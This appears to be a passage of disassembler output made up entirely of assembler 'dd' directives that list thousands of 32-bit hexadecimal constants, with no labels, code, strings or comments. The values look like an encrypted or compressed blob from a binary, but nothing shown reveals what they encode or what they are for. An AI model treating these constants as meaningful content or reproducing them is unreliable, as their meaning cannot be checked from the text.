		dd 1626D665h, 0FB40BCDAh, 0B5AB1DC0h, 193B58A5h, 0B838BAE5h
		dd 0E3319397h, 22D2DF7Bh, 6AA01392h, 0CF7CE288h, 0DF77B46Eh
		dd 0E42B844Ch, 75610A96h, 23A7DD58h, 0D20D2D69h, 0E1D0D0B6h
		dd 17389F62h, 2C40E3F1h, 458A24D0h, 77C22130h, 4E4C3887h
		dd 7EAAB8A8h, 0A74519DBh, 0CA308FFFh, 610564C1h, 0A11EE7C3h
		dd 0EC4F0C5Dh, 0ACC0408Bh, 9D08B00Dh, 0C47F4ECAh, 10E13525h
		dd 0DD7E8D3Ah, 0AE4B78CBh, 0B4B504CDh, 0D903CDB1h, 86D78B91h
		dd 9A56FE6Dh, 0D3644494h, 7F3231CCh, 0FE2BEAE3h, 26E4D316h
		dd 3055B399h, 7208E296h, 93552433h, 53325820h, 9CE09FF0h
		dd 3F3971C9h, 9885EE86h, 812AEDB6h, 7E794733h, 0A6AFF2DDh
		dd 0D44DE72Ch, 0B4FB2E88h, 0FE675E54h, 0AF870FCEh, 86ED3D17h
		dd 0F75C111Dh, 9C2B33Ah, 55382F41h, 34E14F15h, 0AE46FEA2h
		dd 0E0C10DD5h, 0F970008Ah, 0F296B48Bh, 0AA928448h, 32C4402Ah
		dd 86A8664Bh, 0FEFC155Fh
		dd 3ED8E44Eh, 0B466FF90h, 0B2E49234h, 430C4A7Fh, 0DBFBFB41h
		dd 411B4006h, 0B860CEC8h, 0D21FF4FAh, 0B2C46C65h, 0E8857613h
		dd 5BFC291Fh, 449050BCh, 83749372h, 0AFF358Fh, 9728155Ch
		dd 0F8C1353Ch, 0D1F70796h, 4313B6A2h, 8674D362h, 4AC3E6E9h
		dd 67E0E0EBh, 623C490h,	6760CD03h, 0DD67E4FBh, 33413B51h
		dd 278FDE0Dh, 0B0482962h, 0B8504A6Dh, 0ACC92135h, 1526804Bh
		dd 16E28BAEh, 0A8F2C6EAh, 0A9E64DF6h, 3EA6BB31h, 6637D95Bh
		dd 0AA3959DEh, 0B7FA59DEh, 509E6C46h, 14D5E267h, 0B67626AAh
		dd 1024FBADh, 663DC3Dh,	0B03197F9h, 6711F6B2h, 1DBDAD87h
		dd 40F381DBh, 0E997C1AEh, 225885A4h, 392FD47Eh,	0E79EBC2Fh
		dd 5DE0CB49h, 8B310271h, 5EECAB12h, 0DADB75E1h,	499A95AEh
		dd 0F218112Ah, 3084AE12h, 0AB05B648h, 9AC49012h, 9BA06F22h
		dd 98BF3BBAh, 81F35BC0h, 20024981h, 2CCDB048h, 0CF4DBC19h
		dd 0D8BC928Eh, 6F6B28FBh, 0BE106029h, 20AEE452h, 139C89EEh
		dd 0ECB0E209h, 2291C016h, 0E41B3425h, 90BD4A00h, 53582A4h
		dd 0DBF89666h, 0DC926929h, 25B8894Bh, 476BFBDh,	0E6CA6F09h
		dd 0D606622Fh, 0D5094F84h, 487175FAh, 7CBBA8C2h, 0D89A320Eh
		dd 0C9F37898h, 1181F52Ah, 1334C93h, 3A8A7FC8h, 0EC00B746h
		dd 44D7AF83h, 50A032EFh, 57E179C9h, 67A34A55h, 0F7809634h
		dd 7D4DDBFAh, 5B88A70Ah, 0C77DA726h, 0A126E92Bh, 0A61CFCBh
		dd 0CC95A8FBh, 22FB2CEDh, 0E880BE8Ch, 0ED7F4E2Ch, 329EB70Ah
		dd 0F6A05503h, 0CEFBAEAAh, 4F869C63h, 0C93E9665h, 0F6C8F8FCh
		dd 0B77E05E0h, 0C8A467CFh, 425A97C8h, 83322CA9h, 0A3006DE9h
		dd 0EF9B2016h, 0CA7D28E4h, 8C9EFB95h, 0E0D30322h, 22AB0Ah
		dd 3E023A51h, 5402CBAAh, 0B22B78Fh, 1E42CD8Fh, 578E0940h
		dd 270EC177h, 0BEEC9478h, 1E4C382h, 737FCDADh, 70C9E1EDh
		dd 1FDB4C3Ah, 81DA8A02h, 0E1086A99h, 0CB41AA3Fh, 0A7CE608Ah
		dd 5F0AFE62h, 1DCEBB62h, 1E08FE27h, 0A41F6FD0h,	0F9BAF8h
		dd 6D812BCCh, 0EE9744B1h, 676F9A68h, 133A7823h,	70E3530Ah
		dd 0B68C4361h, 720912C3h, 0EC3A89B3h, 0FE708AD6h, 2B473A6h
		dd 22A73A78h, 58C5E3Ah,	0EA2441D3h, 30461AFEh, 7C033797h
		dd 0D54BC45Bh, 5E76F4A2h, 37417819h, 0D16F3304h, 8BC3A921h
		dd 0B1888466h, 2F9B50F2h, 2706B214h, 0E6D912FBh, 86D5252Fh
		dd 907EA70h, 0A67C958h,	0F6C18954h, 0DCFFCB61h,	0DD4F6ADBh
		dd 0D4A37F64h, 763DEFEFh, 85D288D7h, 7BAF67A0h,	163A837Ch
		dd 2C0A5DB0h, 0B01A17EBh, 0B53D8E8Dh, 550ECAF1h, 99F3CAAh
		dd 8ED617FFh, 854ACACCh, 0E388B908h, 0C79CF79Dh, 76D6158Ah
		dd 0CE784EA3h, 0E9B78E84h, 95A40D83h, 4AB98383h, 6F1FA0B1h
		dd 0B6B73FCCh, 34FCE8A9h, 0C59D1CF7h, 13689932h, 4CA27BF1h
		dd 0F1753C4Fh, 5382A3F1h, 0BFBDE03Eh, 0A86E46B7h, 46DB1819h
		dd 15685759h, 43C57EA9h, 0FDE6EEA8h, 0DC6B678Dh, 1AF21ED4h
		dd 0EF4355CDh, 0D142DA74h, 8E936ED1h, 0A65F2645h, 4A92FDA5h
		dd 0E408737Ah, 218C6BC2h, 0ED914B04h, 84DD1EFFh, 68A7D209h
		dd 0F5AE3BC5h, 5C809E0Ah, 83CBCBBCh, 20251E0Ah,	495A739Eh
		dd 5C073D05h, 0E74A8FE9h, 0B34214E7h, 0F6FECB6Ah, 7AD3F91Ch
		dd 8F7CC482h, 0FC333F78h, 2E39C3h, 0DA1CB7B3h, 13B8E0BEh
		dd 0E7FA74D2h, 7AA7AA66h, 0DB334203h, 2136D2BFh, 729AF313h
		dd 274DC147h, 6EBA0BE5h, 5F8A64AEh, 37A399DEh, 2CD08B52h
		dd 0A9C6F423h, 1554CFCEh, 94C33828h, 6AA626EDh,	0AE2460Eh
		dd 396C29CAh, 0CB8D0226h, 54013C02h, 535739B6h,	3DEF9A84h
		dd 20368E9Ah, 67A92F7Ch, 4176F09Fh, 76D544B3h, 0A5CFAE43h
		dd 8716FF32h, 4C94A584h, 0D854BE9Bh, 64CF9BCh, 3F97AE16h
		dd 53035306h, 0FF0394D9h, 0AD93CAF8h, 2D50D55Eh, 2CF73A18h
		dd 0B5A025AAh, 0F7338C84h, 4E6C15A5h, 0FAB7D1E3h, 5C2B22Dh
		dd 0F863A6A9h, 0ADDDF366h, 0D4AE9BADh, 796DDE76h, 0E4F35852h
		dd 38F80B21h, 0D8000520h, 0CCF6359Bh, 0CC61F3C7h, 4FE474E3h
		dd 5355160Ch, 0C6FE19F4h, 0C1414522h, 8A834F2Ah, 93CAC00Bh
		dd 618F5A29h, 5789E338h, 0B8E4FC4Dh, 3DB15B30h,	63A8E6Fh
		dd 2910599Fh, 199BEDC5h, 248AD18Fh, 0B94861ECh,	30F45567h
		dd 76FFBEF5h, 80E490C2h, 0EA144E74h, 6A2D148Fh,	6C6E0DFh
		dd 169C1236h, 69B3A8EFh, 9639C31Eh, 0A5BBCD4Bh,	1F6D9874h
		dd 0ECC1361Ch, 0BC96C8F9h, 7C0970C7h, 967FCD4Ch, 1D11ACBFh
		dd 641D6215h, 623A743Ah, 0CE600ED3h, 0BE9FACD0h, 0BBEF3E45h
		dd 456E608Fh, 0BC72F583h, 0DD98B4E4h, 8D1C94DDh, 0A8091D6Bh
		dd 93225933h, 0FEB0B4E0h, 28438994h, 0F4EA9E9Dh, 97B8A6C1h
		dd 55CA65B8h, 0D5704B4Dh, 6A018C6Ah, 0BE6656D6h, 21A05F0Ch
		dd 0DFA641A6h, 0C1525973h, 973826Ah, 0BB01BEC7h, 8268A8DEh
		dd 3A520F95h, 0EEF53879h, 0AAE04CB4h, 64957F77h, 0BB720839h
		dd 8D66729Ah, 0D42645C1h, 3560CC54h, 0A7A9074Dh, 96818E23h
		dd 5B318407h, 0EF3C3494h, 0FADA745Ah, 0FD49D41Dh, 38586DC4h
		dd 5EA5A29Ah, 9DCFBB0Ch, 2B8C3675h, 7C7DA4C4h, 7E6BD09Dh
		dd 3FFC0484h, 0A2E8FBE7h, 343B17E6h, 5D327B6Ch,	61F53AD0h
		dd 0AA3F5D35h, 67B4C9B5h, 286688DDh, 63F70CF3h,	9DE9E3EDh
		dd 784490A7h, 2F43D2E8h, 3D0E9E2h, 4C637C81h, 0DC91D40Ch
		dd 0EE279592h, 5176C89h, 0D713203Bh, 137FBF36h,	0B9F121FEh
		dd 0F6E94B8Bh, 45AFF09Bh, 9FA0A1DAh, 29E74ADh, 79AAA2FBh
		dd 25084839h, 53618865h, 9CB6FBECh, 0BCE03F6h, 0C52ECD6Dh
		dd 0E1BA6EE1h, 65122AB7h, 822C8506h, 0E36650D3h, 0DC17C461h
		dd 76F84F94h, 5C2C4587h, 170B7E32h, 9EB89A1Dh, 186BC5BAh
		dd 508785A7h, 0A9852002h, 0CCF10789h, 3E886029h, 2E5BF26Ah
		dd 0F1CF6F02h, 0BF12EE09h, 5FE9023Bh, 98F0831Ah, 68AA2C52h
		dd 6BB3281Dh, 8204E5A4h, 971FCA7Fh, 0B6C44AD3h,	9A62C15Ch
		dd 51E4196Ah, 867B9FEAh, 0B86D8976h, 0BABDAFDAh, 0C3540EBh
		dd 1535EC17h, 0EBBF0170h, 0C721D25Dh, 934ACCB5h, 4290574Bh
		dd 7F4A85CDh, 0DF38108Fh, 0B47AC866h, 8AAAF256h, 0BD565BD9h
		dd 0A5F1F54Eh, 63ED4AFDh, 9AA8EC36h, 7B24B01h, 0CDC7F0F8h
		dd 35AE3E3Ch, 5D00DF23h, 303381ECh, 0C400613Dh,	0F359D9E2h
		dd 0A837B405h, 78915B83h, 0B4B18E99h, 51B56B9Bh, 0A7249EE7h
		dd 634E0BA0h, 45AB725Eh, 0B28C3081h, 0EDF00199h, 278AE750h
		dd 0F14D2B9Fh, 0E782E45Ah, 4D7BC164h, 85F03BE2h, 0CA352145h
		dd 0D06704DCh, 779F31A3h, 0EFC97663h, 6DE7BE06h, 0AA905DC5h
		dd 154E7643h, 38C47F7Ah, 0D85CB8D3h, 94F53BD7h,	26A16E04h
		dd 0AFC46553h, 1E5E129h, 4393C532h, 4BEFE058h, 0D414FB95h
		dd 87351C74h, 179CF4C4h, 0F01AB514h, 74E7771Bh,	0EB8360DBh
		dd 0A41A4B86h, 38C8514Ch, 6CC97AB1h, 60B4ECE5h,	0E730CF42h
		dd 6C6DBC07h, 3CDF7132h, 263ED873h, 0EB4661E6h,	36036993h
		dd 7AFF2577h, 0D984D89Eh, 4DAD80D3h, 864F30EEh,	38E2EB8Eh
		dd 0C8471D8Ch, 1096D6D9h, 98A08E51h, 9027927h, 91682E5h
		dd 3C881DC6h, 0D44D2ED1h, 10F7013Ah, 55380D40h,	0ED4DBBB2h
		dd 50AD1DFCh, 10D5FA49h, 5E59B644h, 0C2E99B14h,	0D6E83F9Ch
		dd 9DF476CFh, 0EBF38EC2h, 4B34C8Eh, 3B8DCE2Dh, 6FAA8D0Bh
		dd 8A8CEC10h, 896CC02Eh, 0A8567D51h, 34514FA5h,	4E09875Ch
		dd 0FD533A9Eh, 12207F25h
		dd 0B9E6B9CFh, 654EED2Bh, 0A22D0835h, 519527E7h, 93922C7h
		dd 745FA8F1h, 93D3DAFEh, 0D9F63D3Ch, 74A332E2h,	0CABC95E4h
		dd 0FB74A93Eh, 20C3BBDEh, 0D2CC89B6h, 0D7C0E5CFh, 8D699D54h
		dd 4F51C795h, 0B973FA4Ah, 221F25B5h, 0C85BFD57h, 0A0E37C97h
		dd 30956843h, 22679C60h, 8B0D9D4Dh, 4C63B2D2h, 157D0EB2h
		dd 0BAC0FF26h, 44955E07h, 72168951h, 6B0FADACh,	4FDF6005h
		dd 3D2CD535h, 480EA91Dh, 164ADCADh, 2C437264h, 654797AAh
		dd 0A762FCB7h, 32E2E512h, 0A1917211h, 7BB554h, 0E44DC75Bh
		dd 6BA9E25Fh, 9C4EC7BFh, 2CD6C9FBh, 0A07CEEF9h,	7E897AB4h
		dd 0F28E9442h, 30190A4Fh, 6C5A800Dh, 7ACC3683h,	237723BCh
		dd 54AC07B3h, 452B3CFAh, 6F394A97h, 5354275Dh, 0C1065F63h
		dd 38D75FB9h, 0AC6825FDh, 840DA821h, 53EE6173h,	0DA090520h
		dd 0EDFB24E3h, 79F25756h, 71FDC7D7h, 6E6949FAh,	0EA020DCCh
		dd 0F93162CDh, 4D2952C7h, 0B0BA08B1h, 0B763F0F9h, 0EB71F0F2h
		dd 9DDD519Fh, 311AD83Ah, 0DAF2DB8Ah, 0E0CE33C8h, 1871EDEh
		dd 0EF3A5862h, 86514698h, 0E0FC2ED6h, 0C8E7A66Eh, 33658E54h
		dd 93AC7474h, 0A13DC087h, 6B8920E2h, 2FF41495h,	0EAB50A7Ah
		dd 4FE0BEC1h, 0AD5B1DBh, 27691048h, 0BAB60796h,	0B83A6157h
		dd 6E4FC413h, 9845BA19h, 5E5E7641h, 9028912Eh, 0F9905947h
		dd 0C17CA8ABh, 82A82739h, 65742E12h, 1C75D3A0h,	0F481918Dh
		dd 0B301C759h, 47B5B7EBh, 8C833259h, 2AFBF39Ch,	74ABAEAAh
		dd 3B4BE730h, 0CD9E41B8h, 1A66D976h, 8860BC63h,	2DEB8380h
		dd 7E50BDE2h, 0B385C8DBh, 0A8C5DC85h, 206789F8h, 61B13714h
		dd 8CD1D7A1h, 38EEC9h, 555B5907h, 4B76A0BDh, 83D508A4h
		dd 79CA5049h, 7B5B5706h, 5F38AC97h, 433D7B44h, 0D07F6F08h
		dd 4513E34Ah, 294BAD12h, 13953300h, 6AC02103h, 70E12C05h
		dd 0A5F28DA8h, 0A8961335h, 8C486C87h, 11B8B60h,	0D5363D64h
		dd 0A707B522h, 0C837054Bh, 70E302E7h, 0AB896E99h, 621EFFF4h
		dd 0F852439Bh, 751352F1h, 42DF83BAh, 0CAB41DFCh, 288E4D48h
		dd 7B953A23h, 2FAB75BEh, 22956649h, 868AE299h, 3817E60Ch
		dd 0AD649287h, 5C717847h, 0A18BAD78h, 3C193421h, 0A81EE70Bh
		dd 8F1C7592h, 1514C680h, 6F9685C7h, 80878FF2h, 9A90B750h
		dd 0ACA42721h, 2D49E188h, 333438BDh, 0F82B3E26h, 1CD9E66Ch
		dd 8660B7A8h, 0DB9ED12Ah, 8F364A3h, 0FC0619D5h,	0D6D59DBEh
		dd 222E9ED0h, 4BA26317h, 22A81BEBh, 253D1396h, 0A4AEB70h
		dd 0BFEDAF87h, 2906E24Dh, 89C7A173h, 7256F50Bh,	0BEECCC08h
		dd 4300D4BCh, 366E02D0h, 4026B9FBh, 43D16742h, 9D2626E9h
		dd 1C10C6F8h, 0C158464Bh, 0E66FADD8h, 56AD1C6Fh, 94F0B22Fh
		dd 203DE683h, 35B9E902h, 2EB8DCA0h, 0F9601035h,	228EAAE6h
		dd 94E991AFh, 44C2F21Eh, 881C5B8Ch, 7228580Bh, 0D035421Ch
		dd 0AE169710h, 3C61B187h, 8E8D1CCCh, 213F8F33h,	522AB476h
		dd 0F2C52439h, 0E051BB94h, 798F0A2Fh, 8FB04429h, 3147AAA0h
		dd 99930D50h, 0E4C8AB3Ah, 0BAD2B1EEh, 5847B2F8h, 0F2D0CF49h
		dd 8592BB4Ch, 0AD8502C6h, 0E8984EE0h, 2E354606h, 0D41168Bh
		dd 0CE912449h, 824AED68h, 0B2AA0079h, 9892D022h, 0B210FAADh
		dd 9A0A317Ah, 0C0703161h, 0D37A980Ch, 28F59ACFh, 0E25BB31Dh
		dd 0D14B9266h, 0ED85C593h, 78085A5h, 0B70685E4h, 4D28E80Eh
		dd 4CB649A4h, 0BA5A5727h, 79100944h, 7A6498Eh, 67FFC23Dh
		dd 0E887DB3Eh, 9329F5E5h, 0D92B903Eh, 0CE65F970h, 0A165501Eh
		dd 0A3C0BADh, 0E05EBF97h, 99C5479Bh, 0FBF257B9h, 7CB9C7h
		dd 30E2B440h, 47FEFD2Ah, 60DA0AA5h, 340E5CF3h, 6350C0DBh
		dd 0C274116Dh, 1661B558h, 70FB1C41h, 66F2C391h,	69A437FCh
		dd 19DB606Dh, 19F4B9B4h, 0C606A88Fh, 40ED1845h,	0DA5EE567h
		dd 7DFC1F9Dh, 7693CBB0h, 0FFCEC248h, 316BF1F2h,	0C69B8213h
		dd 0FF1CDCA0h, 0CE17BE6Fh, 42F7175Ah, 8A461054h, 0E9E203DFh
		dd 8999A54Eh, 9D1E6F65h, 69C29AD1h, 254493F6h, 39BE7910h
		dd 0E7E20CB4h, 0BBA46528h, 9FC54E3Eh, 0B58D63BCh, 0A278DBB4h
		dd 2A177F5Fh, 0B1BB54BEh, 72622F47h, 1228B98Bh,	5F091412h
		dd 77DBDEB3h, 97B9BE8Eh, 37C8202h, 11DED4F4h, 4775E75Dh
		dd 1D77B8EFh, 86203581h, 763C503Ch, 0C3676486h,	0E253331Fh
		dd 0BEE04B12h, 84F29B5Eh, 5A8DACF7h, 0ED8ACF76h, 0F518B85h
		dd 0C14D3EDBh, 5B1ECA6Ch, 0AF171641h, 0C8AC49ECh, 0C82FB32Dh
		dd 304066B8h, 0F242D850h, 9A371F13h, 0B9FEDD43h, 690F877Fh
		dd 0D8E41BABh, 0F7C68FE3h, 0F3EBC102h, 0AEF925FEh, 484320B4h
		dd 1210A3F7h, 0A3DDCFB0h, 216DAB74h, 19BA055Fh,	0BFCE8C11h
		dd 0FFFB5ABBh, 812735E0h, 0B6C94200h, 0BE2B8D4Ah, 2AE7CCBEh
		dd 1135384Ch, 0BE6FB995h, 0ACB3052h, 4E57700Ch,	4D243A2Ch
		dd 2748916Dh, 639A9820h, 63BDF900h, 73C83C83h, 0B8FC11BDh
		dd 0FBBC516Eh, 0E10631C9h, 0F7472259h, 786AC4F9h, 32B41AC1h
		dd 58A862D6h, 3476288Dh, 7F33D387h, 0DEF7F7A0h,	2025257Fh
		dd 2CEA54C0h, 0F1359FCFh, 0BF8AB8CFh, 0F225B350h, 6FF5A4E2h
		dd 0D4FF3C46h, 3709AD45h, 0C1EF0587h, 5EC58030h, 0FB70ECADh
		dd 0E5578697h, 6A8D8694h, 71FA4AE0h, 7973EE29h,	25E10EF2h
		dd 4B3B122Dh, 0BE59FA4Dh, 0F20E1789h, 75ABD9A7h, 77ADE083h
		dd 9DF30751h, 52398C8Eh, 0FF6A79CBh, 3CF77D41h,	7AC9291h
		dd 0D351C0CAh, 0CD391D82h, 72C98FA9h, 4511B62Ah, 0EAB37F98h
		dd 0C1745823h, 20E3F9DCh, 5DDFBEA9h, 674F931Fh,	0DCA1C7BAh
		dd 21159C21h, 9E32F3ACh, 0C7AF3ABBh, 0BCD96856h, 0AE01E564h
		dd 0AD394362h, 0C252B676h, 0BD49A13Ch, 904CA94Eh, 807905F0h
		dd 1435D431h, 9127FD3h,	84C1A4D8h, 0AD483C8Dh, 0C61E91F9h
		dd 37762CA7h, 34AB1ADFh, 39544D9Bh, 2981B886h, 8BDC9FF7h
		dd 999ABBE3h, 0A650E603h, 2D2F772Ch, 416B7129h,	0C3A25D02h
		dd 0B006D1C7h, 4A98D22Ah, 0C36899D0h, 0F03A241Ah, 0ED7A6583h
		dd 0A9913D7Bh, 769186DDh, 0B9BCC387h, 1E82A9CEh, 0CE72E66Dh
		dd 9445D0D9h, 87AFD46Ah, 0C829A724h, 0C2CDB388h, 288AEBFAh
		dd 3DFBD857h, 84E2D6E2h, 438ABC7h, 36173219h, 8E345CA6h
		dd 0DB026B77h, 125351F3h, 0E3091C93h, 0E0E73B45h, 0E319D455h
		dd 94D48342h, 445E176Ch, 4C7EF9CCh, 0F768DE16h,	0E0D1417Dh
		dd 0D297A36Ch, 69EEB79h, 0AD6CEA79h, 1E1D254Eh,	0EB84A9Fh
		dd 0BADB2427h, 0CB58A9E2h, 94A017E0h, 0B48760B0h, 3D116C04h
		dd 1084F6B7h, 41B48C4Bh, 97AB24AAh, 0AF4AC3E2h,	5B03098Ah
		dd 5C2961B5h, 0B1C2A8E2h, 0CD137A4Ch, 0E8F55911h, 2F0CDC0h
		dd 9AB07612h, 31565D46h, 23FC2461h, 98EFFFB5h, 6222207Bh
		dd 18328080h, 0E3BE4241h, 0D85819C7h, 0D8DEB2DDh, 0CA135924h
		dd 0EB918C5h, 0A122ED18h, 79B3339Bh, 3DCA2C7Ch,	24AFFAF9h
		dd 81301D4Bh, 0F0E15D11h, 0E05C1C13h, 0DFF297B7h, 0A28FC4EFh
		dd 0DDE667EEh, 0DEADCFC6h, 3B1157F7h, 5BB683C8h, 0D7272404h
		dd 31A69556h, 0D2A7C9E9h, 0A02295D0h, 0F70A25BEh, 0D7030597h
		dd 14491A33h, 500F9035h, 83FFE55Ch, 2223E5C8h, 8A55B905h
		dd 3FA1604Fh, 95293EB5h, 4056CF8Dh, 5DBEFAEAh, 7F24DBEBh
		dd 6F9E78C1h, 0CA62EF13h, 0EE63C3BCh, 0B75C8E81h, 2618A801h
		dd 6B962988h, 0FA0A6149h, 0E7FF6E1h, 0E1320F89h, 61B9F130h
		dd 0CD3C58A6h, 62882E47h
		dd 9DB86AFAh, 1AB85FA6h, 0D33AAFB5h, 855570F8h,	4C42ACEBh
		dd 3D267209h, 0BE2993BDh, 0D012CEBAh, 4F31E732h, 459F627Bh
		dd 47A2366Eh, 0E1294138h, 4A41F462h, 3020114Ah,	0FA4864C4h
		dd 0A964472h, 0EA1C43C8h, 0DB5F3B42h, 0DE9DF140h, 0EF4366D2h
		dd 587DBB17h, 2C88D83Ch, 5D02185Fh, 0CFA38C57h,	40D68C25h
		dd 0D6F87581h, 1A777FA9h, 6CD3FC9Ch, 615E30B9h,	3615ACA7h
		dd 71337C55h, 5788A387h, 54041E6Dh, 0EFFA9DC3h,	456B1566h
		dd 0F8B3C09Ch, 80A0182Dh, 0EF0FD99h, 54F797FEh,	0D1D97932h
		dd 0BD6365F7h, 7A409860h, 0AC486F9Dh, 0D934087Bh, 82AA98D6h
		dd 4E2D2965h, 4A63CE35h, 77DBA6EEh, 6DC09478h, 27EEF4B6h
		dd 9D6C8393h, 0D47805DFh, 0D02794B1h, 732FA5C3h, 9C3907E7h
		dd 0A2C486E7h, 0F6186E63h, 323B2971h, 3B52028Eh, 0E42E6A2Fh
		dd 2AA55424h, 71CA5762h, 26822F32h, 4064B5CFh, 0B7F9AA8Fh
		dd 0D7BB3A3h, 0C686BF39h, 0A6B4BE78h, 2D348075h, 0BEE33B9Ah
		dd 88D6EC8Fh, 211D9D75h, 0B2CA4033h, 7E147091h,	0FD139772h
		dd 2A0E6BB2h, 3424BC5Bh, 84FF1A6Dh, 34B6E29h, 2857F70Bh
		dd 0FA2D2DB5h, 6969D961h, 0AB0021C1h, 0ACBDD9EDh, 9739494Eh
		dd 0BA32FCF2h, 0CCD6A0D6h, 0B5671C6Bh, 0A1C074A7h, 0B46A6C75h
		dd 0A92150A7h, 0B9177793h, 0EAD0DA12h, 8996E97Eh, 3930730h
		dd 5C50B5D5h, 0B17693E6h, 0A64ABCFAh, 11541938h, 64CA5297h
		dd 0BBD305C1h, 26A20C27h, 0C6397AC2h, 0E1A668D0h, 0FC27F96Fh
		dd 630A2026h, 9013BDDBh, 74D7669h, 0B5658BF9h, 3C647CF8h
		dd 752D2290h, 84C6B24Eh, 0F32714DDh, 9C7D4A69h,	80352AA2h
		dd 1DC44827h, 9B07DAC3h, 0B7E978A1h, 26A0A933h,	1785559Ch
		dd 0EBAD5F57h, 76C3D3E3h, 552A7D15h, 40D10FC9h,	85472CD6h
		dd 0A41C5608h, 7581A29Eh, 6281B339h, 0E3E3F3B5h, 3402152Fh
		dd 95102052h, 0F22D9902h, 0AAC37DC0h, 303D24BCh, 0DFDE5C7Ah
		dd 0ED8EFC63h, 5353D186h, 749BD706h, 78F1AE6h, 1A578876h
		dd 0A06E8C32h, 0F0AEFBE1h, 0F9583B76h, 6A450509h, 40F8F373h
		dd 0BD32CDB5h, 0EFCF8CCCh, 22D41525h, 1EA8D954h, 0EC6A4BC4h
		dd 0A26AABF1h, 0FF8F99F3h, 0D8DD5F57h, 0FD075637h, 0EEDA5CFAh
		dd 2D6F1547h, 0D3D6EDE1h, 1A54D0F8h, 20342470h,	752204DDh
		dd 0DCC64D95h, 86E82D9Fh, 71669E33h, 0F4A9E0CDh, 53189C66h
		dd 5497B0C1h, 4EB1E7E5h, 0C38D6B7Ah, 4B95D16Eh,	54E979E8h
		dd 88276B35h, 5799C07Fh, 0FBF5E918h, 0CF092B34h, 1CFCD2D3h
		dd 0A1934F3Eh, 0E5BEA480h, 0BF13D647h, 0B430F5ECh, 7EFCF40Fh
		dd 0AB7FB1C7h, 0BC0A57FAh, 6E98C9Ch, 9D278657h,	0F074A9F9h
		dd 0D55755D5h, 1F8580F5h, 0CD83FEB6h, 92BBEFEEh, 0D6F44847h
		dd 740A8B7Eh, 5FA82E2Dh, 6D5C9130h, 790BD4AEh, 85EAB50Eh
		dd 2521E56h, 0BB0484CCh, 8622BD45h, 3A0FD0BBh, 0CBB7A979h
		dd 0A82FA12h, 9696AD81h, 6D0B90CAh, 0A7459766h,	667405EFh
		dd 0F86428CFh, 0B7D6F9C0h, 33A02F3Fh, 7B7E7E15h, 2D0AF50Ch
		dd 91DFF41Fh, 630C2BA4h, 0FA4658D6h, 35DEA5CCh,	4D5494FCh
		dd 8242BE03h, 5D73720Ah, 0EE4998D4h, 7CD690AAh,	7EAED8B3h
		dd 0C3ECEF29h, 0EFB53BABh, 76ECA37Ah, 21500F35h, 0C19F6460h
		dd 0CA27C060h, 46F1A14Fh, 7BF611D7h, 4FCF6B73h,	13D462E6h
		dd 2060AB35h, 5CC4565h,	0B4A944AAh, 0C5FEF0F8h,	0A360D98Fh
		dd 43453840h, 4638FC86h, 0E01CBE22h, 0F895809Ch, 7897DF0Eh
		dd 1FE204AEh, 0FC076EC2h, 0C2D5E145h, 8D6867EEh, 0F7138F63h
		dd 0A8A0D23h, 94C092F0h, 9F87BFD8h, 0A312DC1Ah,	0A17F2647h
		dd 8991A6CDh, 600C74F9h, 7B06B2F1h, 87088FB5h, 0D28BE449h
		dd 9B657792h, 0E02011B7h, 27DF51Ch, 0D272E476h,	488EF3E8h
		dd 8429EC30h, 9AB98F83h, 6DD257FBh, 43FCEA76h, 2DC2C7A9h
		dd 0ABD1C130h, 0B6C98F5h, 4BAC9688h, 0D5D3C663h, 0C5B3E3FBh
		dd 2A8764E5h, 0F229EB49h, 119A2D19h, 2B008BBBh,	0D527018Ah
		dd 0CD9DACEEh, 0A816A30Eh, 69CC9430h, 0F3240CB4h, 0C4066D25h
		dd 7D62E5DAh, 1BFCABC5h, 0AF0AED12h, 0B3992339h, 0C287BF4Ah
		dd 0B3BB4B2Eh, 608F6564h, 0F11A149Ch, 0F507CCDh, 0DB199C4Eh
		dd 0D55A2577h, 147AA3B7h, 5740F82Eh, 49A4D66Fh,	0CA2F31FFh
		dd 0F892C929h, 0EC62B5FAh, 0B2CE266h, 0C503DF1Ch, 3AF237E7h
		dd 0CB2EA433h, 0FB764C1Ah, 0E0E3736Ch, 44978231h, 9B5DF671h
		dd 5F14003Bh, 9540548Bh, 3F41BFBAh, 6A420C1Eh, 938939FAh
		dd 0A0E28AC7h, 0CD34CCA2h, 0BA0FB349h, 9F4490D5h, 683AB84Eh
		dd 0B9186292h, 0C53451A5h, 3270C705h, 0DA2774ECh, 944F9FB2h
		dd 5ED0978Bh, 20A03759h, 41011D04h, 0BE714F6Bh,	40214F46h
		dd 462F060Ch, 7DC93A02h, 0D6168907h, 0D9AB2CA2h, 55F3D551h
		dd 724EC9C4h, 4B648B08h, 6042FF7Ch, 0E9C9144Dh,	3A941D38h
		dd 2E2A6C8h, 668B7680h,	120FF2A7h, 0DEC03AF0h, 8708B0B5h
		dd 8C2B1656h, 0A6C98520h, 418199h, 0E10877B5h, 0A0AF3812h
		dd 22835932h, 3DA80E82h, 9B968B06h, 3212CDEEh, 7BB27CADh
		dd 3EF843E4h, 3F9D3658h, 0A24896B3h, 0FFFA441Ch, 0A19839CFh
		dd 0BAA4BFB8h, 4005AEB9h, 0CF8050C8h, 0AE7D2608h, 4FEEFE6Eh
		dd 8A0D4385h, 8EA80452h, 0A9D0A17Ch, 30014E50h,	8B05309Bh
		dd 227EF3DDh, 6D0407B3h, 0EC1C77A6h, 0E6E1B488h, 0F7D1C97Bh
		dd 0A10EE663h, 0D33657E8h, 38E855Fh, 0DCDE63D9h, 221135C2h
		dd 3A680006h, 7D3A86C4h, 0B3E1ABFCh, 0AF2C47F2h, 8A41F4EDh
		dd 5FECF3A3h, 0CA04EC9Ah, 0F0CC8345h, 357CEDBCh, 86545065h
		dd 2FD1C55Bh, 0BE7926D3h, 6DD634CBh, 0DCA9E756h, 98073169h
		dd 0D7722CC7h, 729BF503h, 6D4C28CFh, 1443767Eh,	93E3C3EFh
		dd 2FD95AFDh, 0CB6E1D8h, 9F31FA27h, 2858C381h, 2C1C5888h
		dd 9BC3DCE6h, 0CE9BC8A6h, 0C892BAAAh, 0D7E0D005h, 0DD07A12Eh
		dd 92382D20h, 0DED7B449h, 0F708BEE4h, 109ED12h,	0DCA69BF3h
		dd 3C8570A2h, 0D0DE926Bh, 8327C7E4h, 0EB5CA063h, 7E36A41Ah
		dd 4C507ED9h, 2ADB3EBh,	7A3FAA31h, 642C944Ch, 0A066BEF6h
		dd 1ED32797h, 2864F23Dh, 54247170h, 2F5834A9h, 0D9D55A29h
